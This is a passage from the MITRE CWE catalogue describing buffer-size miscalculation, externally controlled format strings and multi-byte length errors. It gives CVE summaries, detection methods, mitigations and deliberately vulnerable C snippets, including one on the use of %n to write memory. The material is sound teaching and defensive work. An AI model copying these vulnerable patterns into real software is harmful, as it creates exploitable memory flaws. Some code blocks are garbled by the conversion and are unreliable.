<b>CVE-2001-0191</b>	Service does not properly check the specified length of a cookie, which allows remote attackers to execute arbitrary commands via a buffer overflow, or brute force authentication by using a short cookie length. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0191">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0191</a>
<b>CVE-2003-0429</b>	Traffic analyzer allows remote attackers to cause a denial of service and possibly execute arbitrary code via invalid IPv4 or IPv6 prefix lengths, possibly triggering a buffer overflow. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0429">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0429</a>
<b>CVE-2000-0655</b>	Chat client allows remote attackers to cause a denial of service or execute arbitrary commands via a JPEG image containing a comment with an illegal field length of 1. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0655">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0655</a>
<b>CVE-2004-0492</b>	Server allows remote attackers to cause a denial of service and possibly execute arbitrary code via a negative Content-Length HTTP header field causing a heap-based buffer overflow. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0492">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0492</a>
<b>CVE-2004-0201</b>	Help program allows remote attackers to execute arbitrary commands via a heap-based buffer overflow caused by a .CHM file with a large length field <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0201">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0201</a>
<b>CVE-2003-0825</b>	Name services does not properly validate the length of certain packets, which allows attackers to cause a denial of service and possibly execute arbitrary code. Can overlap zero-length issues <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0825">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0825</a>
<b>CVE-2004-0095</b>	Policy manager allows remote attackers to cause a denial of service (memory consumption and crash) and possibly execute arbitrary code via an HTTP POST request with an invalid Content-Length value. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0095">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0095</a>
<b>CVE-2004-0826</b>	Heap-based buffer overflow in library allows remote attackers to execute arbitrary code via a modified record length field in an SSLv2 client hello message. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0826">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0826</a>
<b>CVE-2004-0808</b>	When domain logons are enabled, server allows remote attackers to cause a denial of service via a SAM_UAS_CHANGE request with a length value that is larger than the number of structures that are provided. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0808">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0808</a>
<b>CVE-2002-1357</b>	Multiple SSH2 servers and clients do not properly handle packets or data elements with incorrect length specifiers, which may allow remote attackers to cause a denial of service or possibly execute arbitrary code. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1357">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1357</a>
<b>CVE-2004-0774</b>	Server allows remote attackers to cause a denial of service (CPU and memory exhaustion) via a POST request with a Content-Length header set to -1. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0774">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0774</a>
<b>CVE-2004-0989</b>	Multiple buffer overflows in xml library that may allow remote attackers to execute arbitrary code via long URLs. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0989">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0989</a>

Reference	Description
<b>CVE-2004-0568</b>	Application does not properly validate the length of a value that is saved in a session file, which allows remote attackers to execute arbitrary code via a malicious session file (.ht), web site, or Telnet URL contained in an e-mail message, triggering a buffer overflow. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0568">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0568</a>
<b>CVE-2003-0327</b>	Server allows remote attackers to cause a denial of service via a remote password array with an invalid length, which triggers a heap-based buffer overflow. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0327">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0327</a>
<b>CVE-2003-0345</b>	Product allows remote attackers to cause a denial of service and possibly execute arbitrary code via an SMB packet that specifies a smaller buffer length than is required. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0345">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0345</a>
<b>CVE-2004-0430</b>	Server allows remote attackers to execute arbitrary code via a LoginExt packet for a Cleartext Password User Authentication Method (UAM) request with a PathName argument that includes an AFPName type string that is longer than the associated length field. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0430">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0430</a>
<b>CVE-2005-0064</b>	PDF viewer allows remote attackers to execute arbitrary code via a PDF file with a large /Encrypt /Length keyLength value. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0064">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0064</a>
<b>CVE-2004-0413</b>	SVN client trusts the length field of SVN protocol URL strings, which allows remote attackers to cause a denial of service and possibly execute arbitrary code via an integer overflow that leads to a heap-based buffer overflow. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0413">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0413</a>
<b>CVE-2004-0940</b>	Is effectively an accidental double increment of a counter that prevents a length check conditional from exiting a loop. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0940">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0940</a>
<b>CVE-2002-1235</b>	Length field of a request not verified. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1235">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1235</a>
<b>CVE-2005-3184</b>	Buffer overflow by modifying a length value. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3184">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3184</a>
<b>SECUNIA:18747</b>	Length field inconsistency crashes cell phone. <a href="http://secunia.com/advisories/18747/">http://secunia.com/advisories/18747/</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1640

### Notes

#### Relationship

This probably overlaps other categories including zero-length issues.

47	Buffer Overflow via Parameter Expansion

## CWE-131: Incorrect Calculation of Buffer Size

**Weakness ID :** 131

**Status:** Draft

**Structure :** Simple

**Abstraction :** Base

### Description

The software does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		682	Incorrect Calculation	1242
CanFollow		467	Use of sizeof() on a Pointer Type	932
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	264

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		682	Incorrect Calculation	1242
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	264

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	DoS: Crash, Exit, or Restart	
Availability	Execute Unauthorized Code or Commands	
Confidentiality	Read Memory Modify Memory	
<p><i>If the incorrect calculation is used in the context of memory allocation, then the software may create a buffer that is smaller or larger than expected. If the allocated buffer is smaller than expected, this could lead to an out-of-bounds read or write (CWE-119), possibly causing a crash, allowing arbitrary code execution, or exposing sensitive data.</i></p>		

### Detection Methods

### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting potential errors in buffer calculations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

*Effectiveness = High*

*Detection techniques for buffer-related errors are more mature than for most other weakness types.*

### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

*Effectiveness = Moderate*

*Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.*

### Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

*Effectiveness = High*

*These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.*

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Source Code Quality Analyzer

*Effectiveness = High*

### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## **Potential Mitigations**

### **Phase: Implementation**

When allocating a buffer for the purpose of transforming, converting, or encoding an input, allocate enough memory to handle the largest possible encoding. For example, in a routine that converts "&" characters to "&amp;" for HTML entity encoding, the output buffer needs to be at least 5 times as large as the input buffer.

### **Phase: Implementation**

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

### **Phase: Implementation**

*Strategy = Input Validation*

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

### **Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

### **Phase: Implementation**

When processing structured incoming data containing a size field followed by raw data, identify and resolve any inconsistencies between the size field and the actual size of the data (CWE-130).

### **Phase: Implementation**

When allocating memory that uses sentinels to mark the end of a data structure - such as NUL bytes in strings - make sure you also include the sentinel in your calculation of the total amount of memory that must be allocated.

**Phase: Implementation**

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

*Effectiveness = Moderate*

*This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131). Additionally, this only addresses potential overflow issues. Resource consumption / exhaustion issues are still possible.*

**Phase: Implementation**

Use sizeof() on the appropriate data type to avoid CWE-467.

**Phase: Implementation**

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity. This will simplify sanity checks and will reduce surprises related to unexpected casting.

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences, or buffer allocation routines that automatically track buffer size. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]

**Phase: Build and Compilation**

*Strategy = Compilation or Build Hardening*

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

*Effectiveness = Defense in Depth*

*This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Operation**

*Strategy = Environment Hardening*

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

*Effectiveness = Defense in Depth*

*This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Operation**

*Strategy = Environment Hardening*

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-61] [REF-60].

*Effectiveness = Defense in Depth*

*This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.*

#### Phase: Implementation

*Strategy = Compilation or Build Hardening*

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

#### Phase: Architecture and Design

##### Phase: Operation

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

#### Phase: Architecture and Design

##### Phase: Operation

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

### Demonstrative Examples

#### Example 1:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

*Example Language: C*

*(bad)*

```
int i; unsigned int numWidgets; Widget **WidgetList; numWidgets = GetUntrustedSizeValue(); if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {ExitError("Incorrect number of widgets requested!");} WidgetList = (Widget
```

```
**)malloc(numWidgets * sizeof(Widget *));printf("WidgetList ptr=%p\n", WidgetList);for(i=0; i<numWidgets; i++) {WidgetList[i]
= InitializeWidget();}WidgetList[numWidgets] = NULL;showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error. It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be. So if the user ever requests MAX\_NUM\_WIDGETS, there is an off-by-one buffer overflow (CWE-193) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

### Example 2:

The following image processing code allocates a table for images.

*Example Language: C*

*(bad)*

```
img_t table_ptr; /*struct containing img data, 10kB each*/int num_imgs;...num_imgs = get_num_imgs();table_ptr =
(img_t*)malloc(sizeof(img_t)*num_imgs);...
```

This code intends to allocate a table of size num\_imgs, however as num\_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num\_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

### Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

*Example Language: C*

*(bad)*

```
char * copy_input(char *user_supplied_string){ int i, dst_index;char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);if
( MAX_SIZE <= strlen(user_supplied_string) ){die("user string too long, die evil hacker!");}dst_index = 0;for ( i = 0; i <
strlen(user_supplied_string); i++) { if( '&' == user_supplied_string[i] ){dst_buf[dst_index++] = '&';dst_buf[dst_index++] =
'a';dst_buf[dst_index++] = 'm';dst_buf[dst_index++] = 'p';dst_buf[dst_index++] = ';';}else if ( '<' == user_supplied_string[i] ) /*
encode to &lt; */ }else dst_buf[dst_index++] = user_supplied_string[i]; }return dst_buf; }
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

### Example 4:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

*Example Language: C*

*(bad)*

```
DataPacket *packet;int numHeaders;PacketHeader *headers; sock=AcceptSocketConnection();ReadPacket(packet,
sock);numHeaders =packet->headers; if (numHeaders > 100) {ExitError("too many headers!");}headers =
malloc(numHeaders * sizeof(PacketHeader));ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size\_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small

positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

#### Example 5:

The following code attempts to save three different identification numbers into an array. The array is allocated from memory using a call to `malloc()`.

Example Language: C

(bad)

```
int *id_sequence; /* Allocate space for an array of three ids. */ id_sequence = (int*) malloc(3); if (id_sequence == NULL)
exit(1); /* Populate the id array. */ id_sequence[0] = 13579; id_sequence[1] = 24680; id_sequence[2] = 97531;
```

The problem with the code above is the value of the size parameter used during the `malloc()` call. It uses a value of '3' which by definition results in a buffer of three bytes to be created. However the intention was to create a buffer that holds three ints, and in C, each int requires 4 bytes worth of memory, so an array of 12 bytes is needed, 4 bytes for each int. Executing the above code could result in a buffer overflow as 12 bytes of data is being saved into 3 bytes worth of allocated space. The overflow would occur during the assignment of `id_sequence[0]` and would continue with the assignment of `id_sequence[1]` and `id_sequence[2]`.

The `malloc()` call could have used `'3*sizeof(int)'` as the value for the size parameter in order to allocate the correct amount of space required to store the three ints.

#### Observed Examples

Reference	Description
<b>CVE-2004-1363</b>	substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1363">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1363</a>

MemberOf	C	974	SFP Secondary Cluster: Incorrect Buffer Length Computation	888	1633

### Notes

#### Maintenance

This is a broad category. Some examples include: simple math errors, incorrectly updating parallel counters, not accounting for size differences when "transforming" one input to another format (e.g. URL canonicalization or other transformation that can generate a result that's larger than the original input, i.e. "expansion"). This level of detail is rarely available in public reports, so it is difficult to find good examples.

#### Maintenance

This weakness may be a composite or a chain. It also may contain layering or perspective differences. This issue may be associated with many different types of incorrect calculations (CWE-682), although the integer overflow (CWE-190) is probably the most prevalent. This can be primary to resource consumption problems (CWE-400), including uncontrolled memory allocation (CWE-789). However, its relationship with out-of-bounds buffer access (CWE-119) must also be considered.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

## CWE-134: Use of Externally-Controlled Format String

**Weakness ID** : 134

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software uses a function that accepts a format string as an argument, but the format string originates from an external source.

### Extended Description

When an attacker can modify an externally-controlled format string, this can lead to buffer overflows, denial of service, or data representation problems. It should be noted that in some circumstances, such as internationalization, the set of format strings is externally controlled by design. If the source of these format strings is trusted (e.g. only contained in library files that are only modifiable by the system administrator), then the external control might not itself pose a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	129
PeerOf		123	Write-what-where Condition	287

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** C (*Prevalence = Often*)

**Language :** C++ (*Prevalence = Often*)

**Language :** Perl (*Prevalence = Rarely*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory  <i>Format string problems allow for information disclosure which can severely simplify exploitation of the program.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>Format string problems can result in the execution of arbitrary code.</i>	

### Detection Methods

#### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

#### Black Box

Since format strings often occur in rarely-occurring erroneous conditions (e.g. for error message logging), they can be difficult to detect using black box methods. It is highly likely that many latent issues exist in executables that do not have associated source code (or equivalent source).

*Effectiveness = Limited*

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis Cost effective for partial coverage: Binary / Bytecode simple extractor – strings, ELF readers, etc.

*Effectiveness = High*

#### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Warning Flags

*Effectiveness = High*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Requirements

Choose a language that is not subject to this flaw.

### Phase: Implementation

Ensure that all format string functions are passed a static string which cannot be controlled by the user and that the proper number of arguments are always sent to that function as well. If at all possible, use functions that do not support the %n operator in format strings. [REF-116] [REF-117]

### Phase: Build and Compilation

Heed the warnings of compilers and linkers, since they may alert you to improper usage.

## Demonstrative Examples

### Example 1:

The following program prints a string provided as an argument.

*Example Language: C*

*(bad)*

```
#include <stdio.h> void printWrapper(char *string) { printf(string); } int main(int argc, char **argv) { char buf[5012]; memcpy(buf, argv[1], 5012); printWrapper(argv[1]); return (0); }
```

The example is exploitable, because of the call to `printf()` in the `printWrapper()` function. Note: The stack buffer was added to make exploitation more simple.

### Example 2:

The following code copies a command line argument into a buffer using `snprintf()`.

Example Language: C

(bad)

```
int main(int argc, char **argv){char buf[128];...snprintf(buf,128,argv[1]);}
```

This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as `%x`, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the `%n` formatting directive, the attacker can write to the stack, causing `snprintf()` to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.

### Example 3:

Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for `glibc`:

Example Language: C

(bad)

```
printf("%d %d %1$d %1$d\n", 5, 9);
```

This code produces the following output: 5 9 5 5 It is also possible to use half-writes (`%hn`) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example.

## Observed Examples

## Notes

### Applicable Platform

This weakness is possible in any programming language that support format strings.

### Other

While Format String vulnerabilities typically fall under the Buffer Overflow category, technically they are not overflowed buffers. The Format String vulnerability is fairly new (circa 1999) and stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine just how many arguments were passed in. The most common functions that take a variable number of arguments, including C-runtime functions, are the `printf()` family of calls. The Format String problem appears in a number of ways. A `*printf()` call without a format specifier is dangerous and can be exploited. For example, `printf(input);` is exploitable, while `printf(y, input);` is not exploitable in that context. The result of the first call, used incorrectly, allows for an attacker to be able to peek at stack memory since the input string will be used as the format specifier. The attacker can stuff the input string with format specifiers and begin reading stack values, since the remaining parameters will be pulled from the stack. Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program. Frequently targeted entities are file names, process names, identifiers. Format string problems are a classic C/C++ issue that are now rare due to the ease of discovery. One main reason format string vulnerabilities can be exploited is due to the `%n` operator. The `%n` operator will write the number of characters, which have been printed by the format string therefore far, to the memory pointed to by its argument. Through skilled creation of a format string, a malicious user may use values on the stack to create a write-what-where condition. Once this is achieved, they can execute arbitrary code. Other operators can be used as well; for example, a `%9999s` operator could also trigger a buffer overflow, or when used in file-formatting functions like `fprintf`, it can generate a much larger output than intended.

### Research Gap

Format string issues are under-studied for languages other than C. Memory or disk consumption, control flow or variable alteration, and data corruption may result from format string exploitation in applications written in other languages such as Perl, PHP, Python, etc.

## Taxonomy Mappings

## CWE-135: Incorrect Calculation of Multi-Byte String Length

**Weakness ID** : 135

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software does not correctly calculate the length of strings that can contain wide or multi-byte characters.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		682	Incorrect Calculation	1242

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	133	String Errors	1535

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands	
Availability Confidentiality	<p><i>This weakness may lead to a buffer overflow. Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.</i></p> <p>Read Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)</p> <p><i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i></p>	
Confidentiality	<p>Read Memory</p> <p><i>In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</i></p>	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Always verify the length of the string unit character.

#### Phase: Implementation

*Strategy = Libraries or Frameworks*

Use length computing functions (e.g. strlen, wcslen, etc.) appropriately with their equivalent type (e.g.: byte, wchar\_t, etc.)

### Demonstrative Examples

#### Example 1:

The following example would be exploitable if any of the commented incorrect malloc calls were used.

*Example Language: C*

*(bad)*

```
#include <stdio.h>#include <strings.h>#include <wchar.h> int main() { wchar_t wideString[] = L"The spazzy orange
tiger jumped " \over the tawny jaguar.";wchar_t *newString; printf("Strlen() output: %d\nWcslen() output: %d
\n",strlen(wideString), wcslen(wideString)); /* Wrong because the number of chars in a string isn't related to its length
```

```
in bytes //newString = (wchar_t *) malloc(strlen(wideString));/* Wrong because wide characters aren't 1 byte long! //
